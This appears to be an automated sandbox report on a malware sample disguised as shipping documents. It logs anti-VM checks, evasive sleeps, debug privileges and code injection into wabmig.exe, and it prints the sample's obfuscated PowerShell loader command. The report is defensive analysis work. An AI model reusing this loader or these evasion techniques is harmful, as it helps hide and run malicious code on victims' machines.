Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Switches to a custom stack to bypass stack traces
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe API/Special instruction interceptor: Address: 4EFF475
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Memory allocated: 830000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Memory allocated: 24150000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Memory allocated: 23FA0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599888 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599781 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599671 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599563 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599453 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599342 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599234 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599125 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599016 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598906 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598797 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598688 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598563 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598453 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598344 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598216 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598110 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597985 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597860 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597735 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597360 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597117 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597000 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596888 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596782 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596559 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596232 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596015 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595907 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595782 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595657 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595532 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595407 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595297 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595188 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595063 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594938 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594813 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594688 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594578 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594469 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594346 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6496 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3236 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Window / User API: threadDelayed 3352 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Window / User API: threadDelayed 6477 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5276 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -24903104499507879s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 4592 Thread sleep count: 3352 > 30 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599888s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 4592 Thread sleep count: 6477 > 30 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599781s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599671s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599563s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599453s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599342s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599234s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599125s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -599016s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598906s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598797s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598688s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598563s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598453s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598344s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598216s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -598110s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597985s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597860s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597735s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597610s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597485s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597360s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597235s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597117s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -597000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596888s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596782s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596672s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596559s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596453s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596344s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596232s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596125s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -596015s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595907s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595782s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595657s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595532s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595407s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595297s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595188s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -595063s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -594938s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -594813s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -594688s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -594578s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -594469s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948 Thread sleep time: -594346s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405C63
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00402910 FindFirstFileW, 0_2_00402910
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_004068B4 FindFirstFileW,FindClose, 0_2_004068B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599888 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599781 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599671 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599563 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599453 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599342 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599234 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599125 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 599016 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598906 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598797 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598688 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598563 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598453 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598344 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598216 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 598110 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597985 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597860 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597735 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597360 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597117 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 597000 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596888 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596782 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596559 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596232 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 596015 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595907 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595782 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595657 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595532 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595407 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595297 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595188 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 595063 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594938 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594813 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594688 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594578 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594469 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Thread delayed: delay time: 594346 Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: wabmig.exe, 00000008.00000002.3381693291.00000000086D8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp
Source: wabmig.exe, 00000008.00000002.3381693291.000000000872F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: wabmig.exe, 00000008.00000002.3381693291.00000000086D8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWK
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_04247810 LdrInitializeThunk, 2_2_04247810
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wabmig.exe base: 3AF0000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wabmig.exe base: 83FBE0 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe" Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_6FE81096 GetModuleFileNameW,GlobalAlloc,CharPrevW,GlobalFree,GetTempFileNameW,CopyFileW,CreateFileW,CreateFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,CloseHandle,lstrcatW,lstrlenW,GlobalAlloc,FindWindowExW,FindWindowExW,FindWindowExW,lstrcmpiW,lstrcmpiW,lstrcmpiW,DeleteFileW,GetVersion,GlobalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreatePipe,CreatePipe,CreatePipe,GetStartupInfoW,CreateProcessW,lstrcpyW,GetTickCount,WaitForSingleObject,GetExitCodeProcess,PeekNamedPipe,GetTickCount,ReadFile,IsTextUnicode,IsDBCSLeadByteEx,MultiByteToWideChar,lstrcpyW,GlobalReAlloc,lstrcpyW,GetTickCount,TerminateProcess,lstrcpyW,Sleep,lstrcpyW,wsprintfW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,DeleteFileW,GlobalFree,GlobalFree,GlobalFree, 0_2_6FE81096
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
